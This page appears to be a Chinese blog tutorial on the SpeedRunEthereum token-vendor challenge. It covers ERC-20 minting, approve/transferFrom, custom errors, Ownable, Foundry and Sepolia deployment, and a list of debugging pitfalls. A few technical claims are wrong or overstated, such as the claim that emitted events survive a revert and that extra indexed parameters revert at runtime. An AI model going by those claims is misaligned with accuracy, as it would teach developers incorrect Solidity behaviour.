title="🧠 核心知识点"></a>🧠 核心知识点</h2><h3 id="1-多种地址角色"><a href="#1-多种地址角色" class="headerlink" title="1. 多种地址角色"></a>1. 多种地址角色</h3><table><thead><tr><th>地址</th><th>类型</th><th>作用</th></tr></thead><tbody><tr><td><code>0x6d1c...ca04</code> 🟣</td><td><strong>EOA(keystore <code>kylinxin</code>)</strong></td><td>Foundry 部署合约,签 deploy 交易</td></tr><tr><td><code>0x7FB2...77f7</code> 😎</td><td><strong>EOA(MetaMask Burner Wallet)</strong></td><td>前端操作,buy/sell/withdraw</td></tr><tr><td><code>0x24ac...3ed9</code> 🎨</td><td><strong>Contract(YourToken)</strong></td><td>ERC-20 实现</td></tr><tr><td><code>0x657F...54B</code> 🏪</td><td><strong>Contract(Vendor)</strong></td><td>自动售货机逻辑</td></tr></tbody></table><p><strong>关键洞察</strong>:<code>0x7FB2...</code> 看起来是 “the wallet”,但<strong>它是 Vendor 的 owner,不是 deployer</strong>。Deployer 是 <code>0x6d1c...</code>,owner 通过 <code>transferOwnership(0x7FB2...)</code> 转过去的。</p><hr><h3 id="2-ERC-20-基础"><a href="#2-ERC-20-基础" class="headerlink" title="2. ERC-20 基础"></a>2. ERC-20 基础</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 继承 OpenZeppelin 标准实现</span><br><span class="line">contract YourToken is ERC20 {</span><br><span class="line"> constructor() ERC20("Gold", "GLD") {</span><br><span class="line"> _mint(msg.sender, 1000 * 10 ** 18);</span><br><span class="line"> // ↑ ↑ ↑</span><br><span class="line"> // 接收者 数量 1000 GLD 转 base 单位</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么 <code>10 ** 18</code>?</strong> ERC-20 默认 18 位小数(像 ETH 有 wei),所以:</p><ul><li>1 GLD = 10^18 base units(类似 1 ETH = 10^18 wei)</li><li>“1000 GLD” 在合约里其实是 <code>1000 * 10^18</code> 这个大整数</li><li>前端用 <code>formatEther()</code> 自动除以 10^18 显示成人类可读</li></ul><p><strong>如果不乘 <code>10 ** 18</code> 呢?</strong> 你会”铸造 1000 个最小单位”——人类角度看只有 <code>0.000000000000001 GLD</code>,几乎为 0。</p><hr><h3 id="3-payable-与-msg-value"><a href="#3-payable-与-msg-value" class="headerlink" title="3. payable 与 msg.value"></a>3. <code>payable</code> 与 <code>msg.value</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">function buyTokens() external payable { // payable 才能收 ETH</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount(); // 拒绝 0 ETH 攻击</span><br><span class="line"> uint256 amountToBuy = msg.value * tokensPerEth;</span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>变量</th><th>含义</th></tr></thead><tbody><tr><td><code>msg.value</code></td><td>这笔交易附带的 ETH(单位 wei)</td></tr><tr><td><code>msg.sender</code></td><td>调用者地址</td></tr></tbody></table><p><strong>为什么 wei × 100 直接等于 token 数?</strong> 因为<strong>两边都是 18 位小数</strong>,单位”刻度”一样。<code>0.1 ETH × 100 = 10 GLD</code>,数学完全自洽,不用换算。</p><hr><h3 id="4-Custom-Errors(自定义错误)"><a href="#4-Custom-Errors(自定义错误)" class="headerlink" title="4. Custom Errors(自定义错误)"></a>4. Custom Errors(自定义错误)</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">error InvalidEthAmount();</span><br><span class="line">error InsufficientVendorTokenBalance(uint256 vendorBalance, uint256 requestedAmount);</span><br><span class="line"></span><br><span class="line">if (msg.value == 0) revert InvalidEthAmount();</span><br></pre></td></tr></table></figure></div><p><strong>对比老式 require</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// ❌ 老式:把字符串存链上,贵</span><br><span class="line">require(msg.value > 0, "Must send ETH");</span><br><span class="line"></span><br><span class="line">// ✅ 新式:只存 4 字节 selector,省 gas 80%</span><br><span class="line">if (msg.value == 0) revert InvalidEthAmount();</span><br></pre></td></tr></table></figure></div><p><strong>带参数的错误能告诉前端”差多少、当前多少”</strong>——前端拿到错误能算差额、给提示。</p><p><strong>Selector 匹配</strong>:测试用 <code>IVendor.InvalidEthAmount.selector</code> 匹配——<strong>拼错一个字母就匹配不上</strong>!</p><hr><h3 id="5-indexed-事件参数"><a href="#5-indexed-事件参数" class="headerlink" title="5. indexed 事件参数"></a>5. <code>indexed</code> 事件参数</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">event BuyTokens(</span><br><span class="line"> address indexed buyer, // indexed → 进 topic,可被过滤</span><br><span class="line"> uint256 amountOfETH,</span><br><span class="line"> uint256 amountOfTokens</span><br><span class="line">);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>参数</th><th>是否 indexed</th><th>原因</th></tr></thead><tbody><tr><td><code>buyer</code></td><td>✅</td><td>前端要查”某用户的所有买入”</td></tr><tr><td><code>amountOfETH</code></td><td>❌</td><td>只展示用,不需要按它过滤</td></tr><tr><td><code>amountOfTokens</code></td><td>❌</td><td>同上</td></tr></tbody></table><p><strong>为什么只 3 个 indexed?</strong> EVM topic 数组最多 3 个槽,超过会 revert。</p><hr><h3 id="6-ERC-20-转账方向"><a href="#6-ERC-20-转账方向" class="headerlink" title="6. ERC-20 转账方向"></a>6. ERC-20 转账方向</h3><table><thead><tr><th>场景</th><th>函数</th><th>调用方</th><th>资金方向</th></tr></thead><tbody><tr><td><strong>buyTokens</strong></td><td><code>yourToken.transfer(msg.sender, amount)</code></td><td>Vendor → User</td><td>Vendor 把自己的 GLD 发给买家</td></tr><tr><td><strong>sellTokens</strong></td><td><code>yourToken.transferFrom(msg.sender, address(this), amount)</code></td><td>Vendor 拉 User 的 GLD</td><td>买家授权后,Vendor 拉走</td></tr></tbody></table><p><strong>为什么 sell 要 transferFrom?</strong> 因为合约<strong>不能主动</strong>从用户钱包拿 token——必须用户先 <code>approve</code> 授权。</p><hr><h3 id="7-approve-transferFrom-模式-⭐⭐⭐"><a href="#7-approve-transferFrom-模式-⭐⭐⭐" class="headerlink" title="7. approve / transferFrom 模式 ⭐⭐⭐"></a>7. <code>approve</code> / <code>transferFrom</code> 模式 ⭐⭐⭐</h3><p><strong>DeFi 最核心的模式。</strong></p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// 第 1 步:用户在 YourToken 上授权 Vendor</span><br><span class="line">yourToken.approve(vendorAddress, amount);</span><br><span class="line">// = "我允许 Vendor 最多拿走 amount 个 GLD"</span><br><span class="line"></span><br><span class="line">// 第 2 步:用户调 sellTokens,Vendor 用 transferFrom 拉走</span><br><span class="line">yourToken.transferFrom(msg.sender, address(this), amount);</span><br><span class="line">// from=卖家 to=Vendor amount=数量</span><br></pre></td></tr></table></figure></div><p><strong>为什么非要两步?</strong> 如果合约能直接 <code>transfer</code> 拿用户 token,任何 dApp 都能偷光你钱包。<code>approve</code> 是<strong>用户主动的、精确控制的、可撤销的授权额度</strong>:</p><table><thead><tr><th>维度</th><th>直接 transfer(不允许)</th><th>approve + transferFrom(允许)</th></tr></thead><tbody><tr><td>谁主动?</td><td>合约</td><td><strong>用户</strong></td></tr><tr><td>拿多少?</td><td>合约想拿多少</td><td><strong>用户设定上限</strong></td></tr><tr><td>可撤销?</td><td>❌</td><td>✅(再次 approve(0))</td></tr><tr><td>谁能查?</td><td>没人知道</td><td>✅ <code>allowance()</code> 公开可查</td></tr></tbody></table><p><strong>这就是为什么</strong>:Uniswap swap 前先 approve USDC、Aave deposit 前先 approve collateral——<strong>全部同一个模式</strong>。</p><hr><h3 id="8-整数除法的”取整陷阱”"><a href="#8-整数除法的”取整陷阱”" class="headerlink" title="8. 整数除法的”取整陷阱”"></a>8. 整数除法的”取整陷阱”</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">uint256 amountOfETH = amount / tokensPerEth; // 100</span><br><span class="line">// 卖 99 GLD:99 / 100 = 0 ← 不是 0.99!直接变 0</span><br><span class="line">// 卖 100 GLD:100 / 100 = 1 ← 1 ETH ✅</span><br><span class="line">// 卖 199 GLD:199 / 100 = 1 ← 不是 1.99!</span><br></pre></td></tr></table></figure></div><p><strong>Solidity 整数除法永远向下取整</strong>。卖 99 GLD 只能换 0 ETH,等于免费送!</p><p><strong>生产代码</strong>会用 OpenZeppelin 的 <code>Math.mulDiv</code> 或检查 <code>amount % tokensPerEth == 0</code> 拒绝不整除的情况。</p><hr><h3 id="9-call-value-发-ETH(现代标准)"><a href="#9-call-value-发-ETH(现代标准)" class="headerlink" title="9. call{value:...}("") 发 ETH(现代标准)"></a>9. <code>call{value:...}("")</code> 发 ETH(现代标准)</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(bool success, ) = msg.sender.call{value: amountOfETH}("");</span><br><span class="line">if (!success) revert EthTransferFailed(msg.sender, amountOfETH);</span><br></pre></td></tr></table></figure></div><table><thead><tr><th>方式</th><th>转发 gas</th><th>备注</th></tr></thead><tbody><tr><td><code>transfer</code></td><td>固定 2300</td><td>❌ 合约钱包会挂(不够 gas)</td></tr><tr><td><code>send</code></td><td>固定 2300</td><td>❌ 同上</td></tr><tr><td><code>call{value:...}("")</code></td><td><strong>剩余全部</strong></td><td>✅ 2024+ 行业标准</td></tr></tbody></table><p><strong>为什么 2300 不够?</strong> EIP-1884 之后 2300 gas 在某些 opcodes 上连基础 SLOAD 都不够。<strong>Safe / Multisig 等合约钱包</strong>收 ETH 时需要更多 gas 跑 receive 逻辑。</p><hr><h3 id="10-Ownable-访问控制"><a href="#10-Ownable-访问控制" class="headerlink" title="10. Ownable 访问控制"></a>10. Ownable 访问控制</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">contract Vendor is Ownable {</span><br><span class="line"> constructor(...) Ownable(msg.sender) { ... } // deploy 时 owner = deployer</span><br><span class="line"> function withdraw() public onlyOwner { ... } // 只有 owner 能调</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>OpenZeppelin Ownable 提供</strong>:</p><table><thead><tr><th>成员</th><th>作用</th></tr></thead><tbody><tr><td><code>owner()</code></td><td>读当前 owner 地址</td></tr><tr><td><code>onlyOwner</code> 修饰符</td><td>限制函数只能 owner 调</td></tr><tr><td><code>transferOwnership(newOwner)</code></td><td>转交 owner 身份</td></tr></tbody></table><p><strong>我们项目的 owner 转移链</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Deploy 0x6d1c... → constructor: owner = 0x6d1c...</span><br><span class="line">Deploy script: vendor.transferOwnership(0x7FB2...)</span><br><span class="line">最终: owner = 0x7FB2...(你 MetaMask)</span><br></pre></td></tr></table></figure></div><hr><h3 id="11-Emit-顺序:先做完,最后发事件"><a href="#11-Emit-顺序:先做完,最后发事件" class="headerlink" title="11. Emit 顺序:先做完,最后发事件"></a>11. Emit 顺序:先做完,最后发事件</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">yourToken.transferFrom(...); // ① 状态变更</span><br><span class="line">(bool sent, ) = msg.sender.call{...}(""); // ② ETH 发送</span><br><span class="line">emit SellTokens(...); // ③ 最后 emit</span><br></pre></td></tr></table></figure></div><p><strong>为什么?Solidity emit 不会自动撤销</strong>——就算后面 revert,某些客户端短暂看到 emit。所以<strong>先做完所有可能失败的检查和状态变更,最后 emit</strong>——保证事件和数据一致。</p><hr><h2 id="🛠️-完整上线流程"><a href="#🛠️-完整上线流程" class="headerlink" title="🛠️ 完整上线流程"></a>🛠️ 完整上线流程</h2><h3 id="Checkpoint-0:环境"><a href="#Checkpoint-0:环境" class="headerlink" title="Checkpoint 0:环境"></a>Checkpoint 0:环境</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">node --version <span class="comment"># v25.2.1</span></span><br><span class="line">yarn --version <span class="comment"># 1.22.22</span></span><br><span class="line">forge --version <span class="comment"># 1.5.1-stable</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 挑战模板</span></span><br><span class="line">npx create-eth@2.0.20 -e challenge-token-vendor challenge-token-vendor -s foundry</span><br><span class="line"></span><br><span class="line"><span class="comment"># 三终端</span></span><br><span class="line">yarn chain <span class="comment"># 终端1:Anvil(本地链)</span></span><br><span class="line">yarn deploy <span class="comment"># 终端2:Foundry deploy(本地)</span></span><br><span class="line">yarn start <span class="comment"># 终端3:Next.js dev</span></span><br></pre></td></tr></table></figure></div><h3 id="AI-引导学习模式"><a href="#AI-引导学习模式" class="headerlink" title="AI 引导学习模式"></a>AI 引导学习模式</h3><p><code>/start</code> → 教学 → 理解题 → 编码 → <code>check</code> 跑测试</p><p>每个 checkpoint 流程:</p><ol><li>讲 context(概念)</li><li>问理解题(验理解)</li><li>给编程任务(spec)</li><li>用户写代码 → <code>check</code> 跑测试</li><li>通过 → 下一个</li></ol><h3 id="Foundry-测试命令"><a href="#Foundry-测试命令" class="headerlink" title="Foundry 测试命令"></a>Foundry 测试命令</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">yarn <span class="built_in">test</span> <span class="comment"># 全部 14 个</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint1'</span> <span class="comment"># 单个</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint2'</span> <span class="comment"># buyTokens</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint3'</span> <span class="comment"># withdraw</span></span><br><span class="line">yarn <span class="built_in">test</span> --match-test <span class="string">'Checkpoint4'</span> <span class="comment"># sellTokens</span></span><br></pre></td></tr></table></figure></div><hr><h3 id="📸-本地端到端测试截图"><a href="#📸-本地端到端测试截图" class="headerlink" title="📸 本地端到端测试截图"></a>📸 本地端到端测试截图</h3><p><strong>1. 部署完,前端刷新前</strong>——只显示余额,看不到 Buy 按钮(因为前端区块还是注释):</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-01-balance-zero.png" alt="本地链初始状态:Your token balance 0.0000 GLD,Buy 按钮还没出现" ><figcaption>本地链初始状态:Your token balance 0.0000 GLD,Buy 按钮还没出现</figcaption></figure></p><blockquote><p>此时 <code>packages/nextjs/app/token-vendor/page.tsx</code> 里 Buy Tokens 区块还是 <code>/* ... */</code> 注释状态——合约部署成功了,但前端 UI 没解锁。</p></blockquote><p><strong>2. 解锁前端后,buy 110 GLD 成功</strong>——4 个区块全部显示,数字自洽(987.9 + 12.1 = 1000):</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-02-buy-success.png" alt="buy 成功,Your balance 110 GLD,Vendor token 890 GLD,Vendor ETH 1.1 ETH" ><figcaption>buy 成功,Your balance 110 GLD,Vendor token 890 GLD,Vendor ETH 1.1 ETH</figcaption></figure></p><p><strong>3. Debug Contracts + MetaMask</strong>——确认合约 owner 是前端钱包:</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-03-owner-metamask.png" alt="owner() 返回 0x7FB2...77f7(用户 MetaMask),yourToken 指向 0x82Dc...AccC,Vendor 余额 0" ><figcaption>owner() 返回 0x7FB2...77f7(用户 MetaMask),yourToken 指向 0x82Dc...AccC,Vendor 余额 0</figcaption></figure></p><p><strong>4. MetaMask 网络配置</strong>——Chain ID 31337,RPC <code>127.0.0.1:8545</code>:</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-04-localhost-network.png" alt="MetaMask 编辑网络:Localhost / 127.0.0.1:8545 / Chain ID 31337 / ETH" ><figcaption>MetaMask 编辑网络:Localhost / 127.0.0.1:8545 / Chain ID 31337 / ETH</figcaption></figure></p><p><strong>5. 完整端到端 4 区块</strong>——Your / Vendor Balances / Buy / Sell 都工作:</p><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/02-token-vendor-05-end-to-end.png" alt="完整 UI:Your balance 987.9 GLD,Vendor token 12.1,Vendor ETH 9.879,Buy 输入 900,Transfer + Sell 区块可见" ><figcaption>完整 UI:Your balance 987.9 GLD,Vendor token 12.1,Vendor ETH 9.879,Buy 输入 900,Transfer + Sell 区块可见</figcaption></figure></p><hr><h3 id="上线-Sepolia"><a href="#上线-Sepolia" class="headerlink" title="上线 Sepolia"></a>上线 Sepolia</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1. 把 MetaMask 私钥导入 Foundry keystore</span></span><br><span class="line">cast wallet import --private-key 0x...你的私钥... kylinxin</span><br><span class="line"><span class="comment"># → Foundry 提示输入密码,输两遍(不是 MetaMask 密码)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 配置 .env(已有 ALCHEMY + ETHERSCAN API key)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. Sepolia faucet 拿 ETH(给 0x7FB2... 充至少 0.05 ETH)</span></span><br><span class="line"><span class="comment"># → https://sepoliafaucet.com/ 或 Google/Infura</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 4. 部署</span></span><br><span class="line">yarn deploy --network sepolia</span><br><span class="line"><span class="comment"># → 选 kylinxin keystore(不要选 scaffold-eth-default)</span></span><br><span class="line"><span class="comment"># → 输入 keystore 密码</span></span><br><span class="line"><span class="comment"># → 等 ~30s - 2min,看到 4 笔 transactions success</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 5. 验证合约(上传源码到 Etherscan)</span></span><br><span class="line">yarn verify --network sepolia</span><br><span class="line"><span class="comment"># → 不需要密码(不发交易)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 6. 改前端切到 Sepolia</span></span><br><span class="line"><span class="comment"># packages/nextjs/scaffold.config.ts:</span></span><br><span class="line">targetNetworks: [chains.sepolia],</span><br><span class="line"></span><br><span class="line"><span class="comment"># 7. 解锁前端 Sell Tokens 区块 + events/page.tsx SellTokens Events hook</span></span><br><span class="line"><span class="comment"># (见下文"踩坑 4")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 8. 部署前端</span></span><br><span class="line">yarn vercel --prod</span><br><span class="line"><span class="comment"># → 第一次会让你登录 Vercel + 创建项目</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 9. 提交到 speedrunethereum.com</span></span><br></pre></td></tr></table></figure></div><hr><h2 id="🐛-实战踩过的坑"><a href="#🐛-实战踩过的坑" class="headerlink" title="🐛 实战踩过的坑"></a>🐛 实战踩过的坑</h2><h3 id="1-❌-错误拼写-InvaildTokenAmount"><a href="#1-❌-错误拼写-InvaildTokenAmount" class="headerlink" title="1. ❌ 错误拼写 InvaildTokenAmount"></a>1. ❌ 错误拼写 <code>InvaildTokenAmount</code></h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">// ❌ 我的拼写错误</span><br><span class="line">error InvaildTokenAmount();</span><br><span class="line">revert InvaildTokenAmount();</span><br><span class="line"></span><br><span class="line">// ✅ spec 要求</span><br><span class="line">error InvalidTokenAmount();</span><br><span class="line">revert InvalidTokenAmount();</span><br></pre></td></tr></table></figure></div><p><strong>症状</strong>:测试报 <code>Error != expected error: InvaildTokenAmount() != InvalidTokenAmount()</code></p><p><strong>原因</strong>:Solidity error 名通过 <code>keccak256("InvalidTokenAmount()")[0..4]</code> 算出 4 字节 selector。<strong>拼错一个字母 → selector 不同 → 测试匹配不上</strong>。</p><p><strong>教训</strong>:<strong>永远对着 spec 抄错误名</strong>——多一个字母少一个字母都失败。声明处、调用处、测试里都得一致。</p><hr><h3 id="2-❌-Foundry-MetaMask-nonce-冲突"><a href="#2-❌-Foundry-MetaMask-nonce-冲突" class="headerlink" title="2. ❌ Foundry + MetaMask nonce 冲突"></a>2. ❌ Foundry + MetaMask nonce 冲突</h3><p><strong>症状</strong>:<code>yarn deploy --network sepolia</code> 报:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Error: Failed to send transaction after 4 attempts</span><br><span class="line">Err: replacement transaction underpriced</span><br></pre></td></tr></table></figure></div><p><strong>诊断</strong>:Sepolia Etherscan 查 deployer 历史,发现 nonce 132 是 MetaMask 发的 ETH 转账,<strong>不是</strong> Foundry 的 deploy。</p><p><strong>根因</strong>:Foundry 和 MetaMask 共享<strong>同一个账户的 nonce 计数器</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">时间线:</span><br><span class="line"> MetaMask: 准备发 nonce 132 的 ETH 转账</span><br><span class="line"> Foundry: 模拟成功,准备发 nonce 132 的 YourToken deploy</span><br><span class="line"> ↓</span><br><span class="line"> MetaMask 的 132 先广播 → Foundry 想用更高 gas 替换</span><br><span class="line"> Foundry 的 replacement gas 不够高 → 4 次重试都失败</span><br></pre></td></tr></table></figure></div><p><strong>解决</strong>:</p><ol><li>跑 Foundry 时<strong>关掉 MetaMask</strong>,或者别在 MetaMask 里点发送</li><li>让 Foundry 跑完 4 笔 deploy 交易(不要 Ctrl+C!)</li><li>等 MetaMask 那笔 nonce 132 上链确认后,Foundry 自动用 nonce 133+</li></ol><p><strong>长期建议</strong>:<strong>Foundry 部署批量脚本</strong> + <strong>MetaMask 手动单笔</strong>——两者不该共用同一个 nonce 计数器。</p><hr><h3 id="3-❌-部署脚本-broadcast-失败但-simulation-成功"><a href="#3-❌-部署脚本-broadcast-失败但-simulation-成功" class="headerlink" title="3. ❌ 部署脚本 broadcast 失败但 simulation 成功"></a>3. ❌ 部署脚本 broadcast 失败但 simulation 成功</h3><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">== Logs ==</span><br><span class="line"> YourToken deployed at: 0x24ac2... <span class="comment"># 模拟算的地址</span></span><br><span class="line"> Vendor deployed at: 0x657F8...</span><br><span class="line"></span><br><span class="line"><span class="comment">##### sepolia</span></span><br><span class="line">✅ [Success] Hash: 0x5db7b7e8... <span class="comment"># 真发了</span></span><br><span class="line">Block: 11122928</span><br></pre></td></tr></table></figure></div><p><strong><code>run-latest.json</code> 里 <code>hash: null</code></strong> 表示 broadcast 没真发出去。检查方法:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查链上合约有没有 bytecode</span></span><br><span class="line">cast code 0x24ac227C28D204cD0Be8eE602Ef64c0549d03ed9 \</span><br><span class="line"> --rpc-url https://eth-sepolia.g.alchemy.com/v2/KEY | <span class="built_in">wc</span> -c</span><br><span class="line"><span class="comment"># 3 chars = "0x\n" → 没部署</span></span><br><span class="line"><span class="comment"># > 1000 chars → 部署成功</span></span><br></pre></td></tr></table></figure></div><hr><h3 id="4-❌-Vercel-build-失败:isSellEventsLoading-is-not-defined"><a href="#4-❌-Vercel-build-失败:isSellEventsLoading-is-not-defined" class="headerlink" title="4. ❌ Vercel build 失败:isSellEventsLoading is not defined"></a>4. ❌ Vercel build 失败:<code>isSellEventsLoading is not defined</code></h3><p><strong>症状</strong>:</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Error occurred prerendering page "/events"</span><br><span class="line">ReferenceError: isSellEventsLoading is not defined</span><br></pre></td></tr></table></figure></div><p><strong>根因</strong>:<code>events/page.tsx</code> 处于<strong>半解锁状态</strong>——区块解锁了但 hook 没解锁:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// hook 还是注释</span></span><br><span class="line"><span class="comment">// const { data: sellTokenEvents, isLoading: isSellEventsLoading } = ...</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 区块已经解锁,引用了 hook 里的变量</span></span><br><span class="line">{isSellEventsLoading ? (...) : (...)}</span><br></pre></td></tr></table></figure></div><p><strong>修复</strong>:把 hook 的 <code>//</code> 注释去掉,<strong>hook 和区块必须同步解锁</strong>。</p><p><strong>为什么本地 dev 不报错?</strong> Next.js dev 模式宽松,build 模式才会预渲染所有页面 → 触发静态分析。</p><hr><h3 id="5-❌-前端-Buy-Tokens-按钮没出现"><a href="#5-❌-前端-Buy-Tokens-按钮没出现" class="headerlink" title="5. ❌ 前端 Buy Tokens 按钮没出现"></a>5. ❌ 前端 Buy Tokens 按钮没出现</h3><p><strong>症状</strong>:Token Vendor 页只显示 “Your token balance: 0.0000 GLD”,看不到 Vendor 余额、Buy 按钮。</p><p><strong>根因</strong>:<code>packages/nextjs/app/token-vendor/page.tsx</code> 里的几个区块初始状态是 <code>/* ... */</code> 注释,需要手动解锁:</p><div class="code-container" data-rel="Tsx"><figure class="iseeu highlight tsx"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Vendor Balances 区块</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: vendorTokenBalance } = <span class="title function_">useScaffoldReadContract</span>(...); <span class="comment">// 解开</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: vendorEthBalance } = <span class="title function_">useWatchBalance</span>(...); <span class="comment">// 解开</span></span><br><span class="line"><span class="keyword">const</span> { <span class="attr">data</span>: tokensPerEth } = <span class="title function_">useScaffoldReadContract</span>(...); <span class="comment">// 解开</span></span><br><span class="line"></span><br><span class="line">{<span class="comment">/* <div>Buy Tokens</div> */</span>} → <div><span class="title class_">Buy</span> <span class="title 